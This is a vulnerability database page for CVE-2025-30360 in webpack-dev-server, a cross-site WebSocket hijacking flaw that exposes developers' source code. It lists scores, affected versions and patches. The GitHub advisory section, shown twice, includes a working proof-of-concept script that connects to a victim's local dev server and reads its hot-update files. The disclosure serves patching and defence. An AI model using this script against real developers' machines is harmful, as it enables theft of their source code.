Every CVE Search/ Get API key

CVE-2025-30360

webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser

6.5 MediumFix available

webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when you access a malicious web site with non-Chromium based browser. The Origin header is checked to prevent Cross-site WebSocket hijacking from happening, which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address Origin headers. This allows websites that are served on IP addresses to connect WebSocket. An attacker can obtain source code via a method similar to that used to exploit CVE-2018-14732. Version 5.2.1 contains a patch for the issue.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.36%Up 0.3 points since Jun 4, 2025
90%50%10%1%

What each source reports

CVE List Score used 6.5

webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser

webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when you access a malicious web site with non-Chromium based browser. The Origin header is checked to prevent Cross-site WebSocket hijacking from happening, which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address Origin headers. This allows websites that are served on IP addresses to connect WebSocket. An attacker can obtain source code via a method similar to that used to exploit CVE-2018-14732. Version 5.2.1 contains a patch for the issue.

Record
CVE-2025-30360
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-346
Updated
2026-11-02
EUVDEUVD-2025-16764 6.5

webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when you access a malicious web site with non-Chromium based browser. The Origin header is checked to prevent Cross-site WebSocket hijacking from happening, which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address Origin headers. This allows websites that are served on IP addresses to connect WebSocket. An attacker can obtain source code via a method similar to that used to exploit CVE-2018-14732. Version 5.2.1 contains a patch for the issue.

Record
EUVD-2025-16764
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-9jgg-88mc-972h 6.5

webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser

Summary

Source code may be stolen when you access a malicious web site with non-Chromium based browser.

Details

The Origin header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address Origin headers. https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127 This allows websites that are served on IP addresses to connect WebSocket. By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.

related commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that checkHost function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.

This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.

PoC

  1. Download reproduction.zip and extract it
  2. Run npm i
  3. Run npx webpack-dev-server
  4. Open http://{ipaddress}/?target=http://localhost:8080&file=main with a non-Chromium browser (I used Firefox 134.0.1)
  5. Edit src/index.js in the extracted directory
  6. You can see the content of src/index.js

The script in the POC site is:

window.webpackHotUpdate = (...args) => {
    console.log(...args);
    for (i in args[1]) {
        document.body.innerText = args[1][i].toString() + document.body.innerText
	    console.log(args[1][i])
    }
}

let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
    console.log(event.data);
    if (event.data.match('"type":"ok"')) {
        s = document.createElement('script');
        s.src = `${target}${file}.${currentHash2}.hot-update.js`;
        document.body.appendChild(s)
    }
    r = event.data.match(/"([0-9a-f]{20})"/);
    if (r !== null) {
        currentHash2 = currentHash;
        currentHash = r[1];
        console.log(currentHash, currentHash2);
    }
}

Impact

This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.

Record
GHSA-9jgg-88mc-972h
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-346
Updated
2026-11-02
NVD 6.5

webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when you access a malicious web site with non-Chromium based browser. The Origin header is checked to prevent Cross-site WebSocket hijacking from happening, which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address Origin headers. This allows websites that are served on IP addresses to connect WebSocket. An attacker can obtain source code via a method similar to that used to exploit CVE-2018-14732. Version 5.2.1 contains a patch for the issue.

Record
CVE-2025-30360
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-346
Updated
2026-11-02
OSV 6.5

webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser

webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when you access a malicious web site with non-Chromium based browser. The Origin header is checked to prevent Cross-site WebSocket hijacking from happening, which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address Origin headers. This allows websites that are served on IP addresses to connect WebSocket. An attacker can obtain source code via a method similar to that used to exploit CVE-2018-14732. Version 5.2.1 contains a patch for the issue.

Record
CVE-2025-30360
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-346
Updated
2026-11-02
OSVGHSA-9jgg-88mc-972h 6.5

webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser

Summary

Source code may be stolen when you access a malicious web site with non-Chromium based browser.

Details

The Origin header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address Origin headers. https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127 This allows websites that are served on IP addresses to connect WebSocket. By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.

related commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that checkHost function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.

This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.

PoC

  1. Download reproduction.zip and extract it
  2. Run npm i
  3. Run npx webpack-dev-server
  4. Open http://{ipaddress}/?target=http://localhost:8080&file=main with a non-Chromium browser (I used Firefox 134.0.1)
  5. Edit src/index.js in the extracted directory
  6. You can see the content of src/index.js

The script in the POC site is:

window.webpackHotUpdate = (...args) => {
    console.log(...args);
    for (i in args[1]) {
        document.body.innerText = args[1][i].toString() + document.body.innerText
	    console.log(args[1][i])
    }
}

let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
    console.log(event.data);
    if (event.data.match('"type":"ok"')) {
        s = document.createElement('script');
        s.src = `${target}${file}.${currentHash2}.hot-update.js`;
        document.body.appendChild(s)
    }
    r = event.data.match(/"([0-9a-f]{20})"/);
    if (r !== null) {
        currentHash2 = currentHash;
        currentHash = r[1];
        console.log(currentHash, currentHash2);
    }
}

Impact

This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.

Record
GHSA-9jgg-88mc-972h
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-346
Updated
2026-11-02
Show 13 moreShow less
OSVCLSA-2026-1774311630 No score

TuxCare security update for webpack-dev-server (3 CVEs)

TuxCare rebuilt webpack-dev-server to address 3 CVEs. Fixed in 4.15.1-tuxcare.1.

Record
CLSA-2026-1774311630
Updated
2026-11-02
OSVCLSA-2026-1774398063 No score

TuxCare security update for webpack-dev-server (2 CVEs)

TuxCare rebuilt webpack-dev-server to address 2 CVEs. Fixed in 4.7.3-tuxcare.1.

Record
CLSA-2026-1774398063
Updated
2026-11-02
OSVCLSA-2026-1774398065 No score

TuxCare security update for webpack-dev-server (2 CVEs)

TuxCare rebuilt webpack-dev-server to address 2 CVEs. Fixed in 3.11.0-tuxcare.1.

Record
CLSA-2026-1774398065
Updated
2026-11-02
OSVCLSA-2026-1776299677 No score

TuxCare security update for webpack-dev-server (2 CVEs)

TuxCare rebuilt webpack-dev-server to address 2 CVEs. Fixed in 3.1.14-tuxcare.1.

Record
CLSA-2026-1776299677
Updated
2026-11-02
OSVCLSA-2026-1779324462 No score

TuxCare security update for webpack-dev-server (2 CVEs)

TuxCare rebuilt webpack-dev-server to address 2 CVEs. Fixed in 3.11.2-tuxcare.1.

Record
CLSA-2026-1779324462
Updated
2026-11-02
OSVCLSA-2026-1779410890 No score

TuxCare security update for webpack-dev-server (2 CVEs)

TuxCare rebuilt webpack-dev-server to address 2 CVEs. Fixed in 4.11.0-tuxcare.1.

Record
CLSA-2026-1779410890
Updated
2026-11-02
OSVCLSA-2026-1784077483 No score

TuxCare security update for webpack-dev-server (3 CVEs)

TuxCare rebuilt webpack-dev-server to address 3 CVEs. Fixed in 4.15.2-tuxcare.1.

Record
CLSA-2026-1784077483
Updated
2026-11-02
OSVCLSA-2026-1785204346 No score

TuxCare security update for webpack-dev-server (3 CVEs)

TuxCare rebuilt webpack-dev-server to address 3 CVEs. Fixed in 2.7.1-tuxcare.4.

Record
CLSA-2026-1785204346
Updated
2026-11-02
OSVCLSA-2026-1786365773 No score

TuxCare security update for webpack-dev-server (3 CVEs)

TuxCare rebuilt webpack-dev-server to address 3 CVEs. Fixed in 3.11.3-tuxcare.4.

Record
CLSA-2026-1786365773
Updated
2026-11-05
OSVCLSA-2026-1787821986 No score

TuxCare security update for webpack-dev-server (3 CVEs)

TuxCare rebuilt webpack-dev-server to address 3 CVEs. Fixed in 2.11.5-tuxcare.4.

Record
CLSA-2026-1787821986
Updated
2026-11-02
OSVCLSA-2026-1787837465 No score

TuxCare security update for webpack-dev-server (3 CVEs)

TuxCare rebuilt webpack-dev-server to address 3 CVEs. Fixed in 4.11.1-tuxcare.4.

Record
CLSA-2026-1787837465
Updated
2026-11-02
OSVCLSA-2026-1790944348 No score

TuxCare security update for webpack-dev-server (2 CVEs)

TuxCare rebuilt webpack-dev-server to address 2 CVEs. Fixed in 4.9.3-tuxcare.2.

Record
CLSA-2026-1790944348
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2025-30360 No score

CVE-2025-30360 in webpack-dev-server - Patched by Root

Root has patched CVE-2025-30360 in the webpack-dev-server package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2025-30360
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
webpack-dev-server
npm
through 5.2.0
5.2.1
webpack-dev-server
TuxCare:npm
From an advisory covering 3 CVEs
4.15.1-tuxcare.0 up to 4.15.1-tuxcare.1, plus listed versions
4.15.1
4.15.1-tuxcare.1
webpack-dev-server
TuxCare:npm
From an advisory covering 2 CVEs
4.7.3-tuxcare.0 up to 4.7.3-tuxcare.1, plus listed versions
4.7.3
4.7.3-tuxcare.1
webpack-dev-server
TuxCare:npm
From an advisory covering 2 CVEs
3.11.0-tuxcare.0 up to 3.11.0-tuxcare.1, plus listed versions
3.11.0
3.11.0-tuxcare.1
webpack-dev-server
TuxCare:npm
From an advisory covering 2 CVEs
3.1.14-tuxcare.0 up to 3.1.14-tuxcare.1, plus listed versions
3.1.14
3.1.14-tuxcare.1
webpack-dev-server
TuxCare:npm
From an advisory covering 2 CVEs
3.11.2-tuxcare.0 up to 3.11.2-tuxcare.1, plus listed versions
3.11.2
3.11.2-tuxcare.1
webpack-dev-server
TuxCare:npm
From an advisory covering 2 CVEs
4.11.0-tuxcare.0 up to 4.11.0-tuxcare.1, plus listed versions
4.11.0
4.11.0-tuxcare.1
webpack-dev-server
TuxCare:npm
From an advisory covering 3 CVEs
4.15.2-tuxcare.0 up to 4.15.2-tuxcare.1, plus listed versions
4.15.2
4.15.2-tuxcare.1
webpack-dev-server
TuxCare:npm
From an advisory covering 3 CVEs
2.7.1-tuxcare.0 up to 2.7.1-tuxcare.4, plus listed versions
2.7.12.7.1-tuxcare.12.7.1-tuxcare.22.7.1-tuxcare.3
2.7.1-tuxcare.4
webpack-dev-server
TuxCare:npm
From an advisory covering 3 CVEs
3.11.3-tuxcare.0 up to 3.11.3-tuxcare.4, plus listed versions
3.11.33.11.3-tuxcare.13.11.3-tuxcare.23.11.3-tuxcare.3
3.11.3-tuxcare.4
Show 6 moreShow less
Affected packages
PackageAffectedFixed
webpack-dev-server
TuxCare:npm
From an advisory covering 3 CVEs
2.11.5-tuxcare.0 up to 2.11.5-tuxcare.4, plus listed versions
2.11.52.11.5-tuxcare.12.11.5-tuxcare.22.11.5-tuxcare.3
2.11.5-tuxcare.4
webpack-dev-server
TuxCare:npm
From an advisory covering 3 CVEs
4.11.1-tuxcare.0 up to 4.11.1-tuxcare.4, plus listed versions
4.11.14.11.1-tuxcare.14.11.1-tuxcare.24.11.1-tuxcare.3
4.11.1-tuxcare.4
webpack-dev-server
TuxCare:npm
From an advisory covering 2 CVEs
4.9.3-tuxcare.0 up to 4.9.3-tuxcare.2, plus listed versions
4.9.34.9.3-tuxcare.1
4.9.3-tuxcare.2
webpack-dev-server
npm
before 5.2.1
5.2.1
webpack-dev-server
Root:npm
before 4.10.0-aikido.1
4.10.0-aikido.13.11.3-aikido.24.10.0-aikido.23.11.3-aikido.35.0.4-aikido.15.0.4-aikido.23.11.3-aikido.44.10.0-aikido.3
@rootio/webpack-dev-server
Root:npm
before 4.10.0-root.io.1
4.10.0-root.io.13.11.3-root.io.24.10.0-root.io.23.11.3-root.io.35.0.4-root.io.15.0.4-root.io.23.11.3-root.io.44.10.0-root.io.3

History

History
RecordedChangedSources
affected
factsOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-30360 is a medium vulnerability (CVSS 6.5) in Webpack Webpack-dev-server, published June 3, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.36%, the 29th percentile. Fixed in webpack-dev-server 5.2.1.

References

MoveEnter Open